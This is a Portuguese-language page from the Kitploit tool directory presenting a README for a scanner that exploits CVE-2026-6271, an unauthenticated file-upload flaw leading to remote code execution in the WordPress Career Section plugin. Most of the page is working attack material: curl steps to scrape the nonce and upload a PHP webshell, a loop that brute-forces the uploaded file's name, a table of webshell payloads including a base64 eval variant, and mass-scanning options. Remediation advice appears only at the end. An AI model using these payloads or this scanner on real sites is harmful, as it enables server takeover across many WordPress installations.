Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-6271 — Scanner automatizado para CVE-2026-6271, um upload arbitrário de arquivos não autenticado que leva a RCE no plugin Career Section do WordPress. Suporta varredura multithread, múltiplos tipos de shell e integração com proxy. | Kitploit
Ferramentas/GitHubGitHub/xxconi/cve-2026-6271
Scanners de VulnerabilidadesGeração de PayloadsExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubxxconi/cve-2026-6271

CVE-2026-6271

Scanner automatizado para CVE-2026-6271, um upload arbitrário de arquivos não autenticado que leva a RCE no plugin Career Section do WordPress. Suporta varredura multithread, múltiplos tipos de shell e integração com proxy.

Ver Repositório
1há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-6271 — Scanner RCE do Plugin Career Section para WordPress

Plugin: Career Section (career-section) CVE ID: CVE-2026-6271 CVSS Score: 9.8 (Crítica) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Tipo de Vulnerabilidade: Upload Arbitrário de Arquivo Não Autenticado → Execução Remota de Código Versão Afetada: <= 1.7 Versão Corrigida: 1.8 Data de Publicação: 13 de maio de 2026 Pesquisador: Paolo Tresso — Wordfence


📌 Sobre a Vulnerabilidade

O plugin Career Section permite que os proprietários de sites publiquem vagas de emprego e coletem candidaturas. Cada página de vaga contém um formulário "Apply Now". Esse formulário inclui um campo de envio de arquivo de CV.

Nas versões 1.7 e anteriores, o manipulador de envio aceita qualquer tipo de arquivo — incluindo .php. Como o formulário é público e o token CSRF está embutido no HTML da página, essa vulnerabilidade pode ser explorada sem exigir nenhuma conta ou privilégio.


⚙️ Análise Técnica

Por que o Nonce Não Oferece Proteção?

Nonces do WordPress são tokens CSRF, não tokens de autenticação. O valor do nonce é embutido no HTML da página para cada visitante:

root@kitploit:~
<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>
</script>

Qualquer visitante não autenticado pode obter um nonce válido e passar pela verificação.

Ausência de Validação do Tipo de Arquivo

root@kitploit:~
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {

    $original_name = sanitize_file_name( $_FILES['cv']['name'] );
    $name_file     = time() . '_' . $original_name;
    $destination   = $cs_dir . '/' . $name_file;

    // Uzantı kontrolü YOK — .php dahil her şey kabul edilir
    if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
        $uploaded_file_url = $upload_dir['baseurl']
                           . '/cs_applicant_submission_files/'
                           . $name_file;
    }
}

sanitize_file_name() apenas limpa caracteres especiais, não bloqueia extensões perigosas.

Diretório de Upload

root@kitploit:~
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>

Neste diretório não existe arquivo .htaccess que impeça a execução de PHP.


🔴 Por que é Crítico?

MotivoDescrição
Nenhuma autenticação necessáriaNonce embutido no HTML público
Sem restrição de tipo de arquivo.php, .php5, .phtml são aceitos
Sem proteção .htaccessPHP é executado no diretório de upload
Nome de arquivo previsíveltime()_filename → brute-force de timestamp

🧪 Prova de Conceito (Manual)

⚠️ Aviso legal: Esta PoC é apenas para fins educacionais. Teste apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito.

Pré-requisitos:

  • Plugin Career Section instalado e ativo (versão ≤ 1.7)
  • Pelo menos uma vaga de emprego publicada

Passo 1 — Criar o Webshell PHP

root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > shell.php

Passo 2 — Obter o Nonce

root@kitploit:~
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"

NONCE=$(curl -s "$JOB_URL" \
  | grep -oP 'name="csaf_form_nonce" value="\K[^"]+')

echo "Nonce: $NONCE"

Estrutura a ser procurada no código-fonte da página:

root@kitploit:~
<input type="hidden"
       id="csaf_form_nonce"
       name="csaf_form_nonce"
       value="a1b2c3d4e5" />

Passo 3 — Enviar o Webshell

root@kitploit:~
TS=$(date +%s)

curl -s -X POST "$JOB_URL" \
  -F "first_name=John" \
  -F "last_name=Doe" \
  -F "present_address=123 Main St" \
  -F "[email protected]" \
  -F "mobile_no=1234567890" \
  -F "post_name=Engineer" \
  -F "submit=Submit" \
  -F "csaf_form_nonce=$NONCE" \
  -F "[email protected];type=application/pdf" \
  | grep -o "Application has been sent"

Passo 4 — Disparar o RCE

O nome do arquivo está no formato <timestamp>_shell.php. Tente os timestamps ao redor de $TS:

root@kitploit:~
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"

for T in $(seq $((TS-2)) $((TS+2))); do
  URL="$UPLOADS/${T}_shell.php"
  RESULT=$(curl -s "$URL?cmd=id")
  if echo "$RESULT" | grep -q "uid="; then
    echo "Webshell aktif: $URL"
    echo "RCE çıktısı  : $RESULT"
    break
  fi
done

Saída esperada:

root@kitploit:~
Webshell aktif: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE çıktısı  : uid=33(www-data) gid=33(www-data) groups=33(www-data)

🛠️ Scanner Automatizado

Instalação

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Uso

Alvo Único

root@kitploit:~
python career_section_rce.py -u http://hedef.com

Com URL Direta de Vaga

root@kitploit:~
python career_section_rce.py -u http://hedef.com \
  --job-url http://hedef.com/careers/engineer/

Com Verificação de Shell

root@kitploit:~
python career_section_rce.py -u http://hedef.com \
  --verify-cmd "whoami"

Varredura em Massa

root@kitploit:~
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt

Aumentar a Janela de Timestamp (Servidores Lentos)

root@kitploit:~
python career_section_rce.py -u http://hedef.com --ts-window 10

Shell Completo + Proxy (Burp Suite)

root@kitploit:~
python career_section_rce.py -u http://hedef.com \
  --shell-type full \
  --proxy http://127.0.0.1:8080

⚙️ Parâmetros

ParâmetroAbreviaçãoDescriçãoPadrão
--url-uURL de alvo único—
--list-lArquivo de lista de alvos—
--threads-tNúmero de threads10
--output-oArquivo de saídarce_confirmed.txt
--job-url—URL direta da vaga—
--shell-name—Nome do arquivo a ser enviadoshell.php
--shell-type—Tipo de shellsystem
--verify-cmd—Comando de verificação de RCEid
--ts-window—Janela de brute-force de timestamp (±seg)5
--proxy—URL do proxy—
--timeout—Timeout da requisição (seg)10

💀 Tipos de Shell

TipoPayloadDescrição
system<?php system($_GET["cmd"]); ?>Comando básico do sistema
passthru<?php passthru($_GET["cmd"]); ?>Saída bruta
exec<?php echo exec($_GET["cmd"]); ?>Execução silenciosa
assert<?php assert($_POST["cmd"]); ?>Eval via POST
b64<?php eval(base64_decode($_POST["cmd"])); ?>Ofuscação Base64
fullshell_exec + system + exec fallbackShell completo com fallback

📂 Local de Upload do Shell

root@kitploit:~
WordPress Kök/
└── wp-content/
    └── uploads/
        └── cs_applicant_submission_files/
            └── <timestamp>_shell.php   ← Shell burada

Acesso direto:

root@kitploit:~
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

📊 Status de Saída do Scanner

StatusDescrição
★ RCE OKShell enviado + comando executado com sucesso
★ SHELL ALIVEShell acessível, retornou resposta diferente
~ EXEC_DISABLEDShell existe, mas o exec() está desabilitado no servidor
? UPLOADEDEnviado, mas o timestamp não foi encontrado
- BLOCKEDTipo de arquivo bloqueado (versão corrigida)
~ NO_NONCEcsaf_form_nonce não encontrado
~ TIMEOUTTempo de conexão esgotado
~ UNREACHNão foi possível alcançar o alvo

🖥️ Exemplo de Saída do Scanner

root@kitploit:~
[*] 3 hedef | CVE-2026-6271 Career Section | threads=10

[★ RCE OK    ] http://hedef1.com
  Nonce     : a1b2c3d4e5  (kaynak: http://hedef1.com/careers/engineer/)
  Shell URL : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
  RCE Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)

[- BLOCKED   ] http://hedef2.com  (dosya tipi engellendi)
[~ NO_NONCE  ] http://hedef3.com  (csaf_form_nonce bulunamadı)

──────────────────────────────────────────────────────────────
  UPLOADED_RCE_OK         :    1  █
  BLOCKED                 :    1  █
  NO_NONCE                :    1  █
──────────────────────────────────────────────────────────────
  RCE onaylı → rce_confirmed.txt
──────────────────────────────────────────────────────────────

🛡️ Defesa / Correção

MedidaImplementação
Atualização do PluginAtualize para o Career Section 1.8 ou superior
Bloqueio de Execução de PHPAdicione .htaccess ao diretório de upload
Whitelist de ExtensõesAceite apenas pdf, doc, docx
Validação MIMEVerifique o conteúdo real com finfo_file()
Regra de WAFBloqueie requisições de upload .php

.htaccess para o diretório wp-content/uploads/cs_applicant_submission_files/:

root@kitploit:~
<FilesMatch "\.php\d?$">
    Deny from all
</FilesMatch>

Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar

📁 Estrutura de Arquivos

root@kitploit:~
cve-2026-6271-scanner/
├── career_section_rce.py   # Ana tarayıcı
├── requirements.txt        # Bağımlılıklar
└── README.md               # Bu dosya

⚠️ Aviso Legal

Esta ferramenta e esta PoC destinam-se exclusivamente ao uso em sistemas autorizados, para fins educacionais e no âmbito de testes de penetração. O uso em sistemas não autorizados constitui crime nos termos dos artigos 243.º a 245.º do Código Penal Turco e das leis internacionais sobre crimes cibernéticos. O desenvolvedor não assume nenhuma responsabilidade legal por danos decorrentes do uso indevido da ferramenta.


📄 Licença

Licença MIT — Apenas para fins educacionais e de pesquisa.


🔗 Referências

  • Wordfence Advisory
  • WordPress Plugin Directory — Career Section
  • CVSS 3.1 Calculator
Baixar ferramenta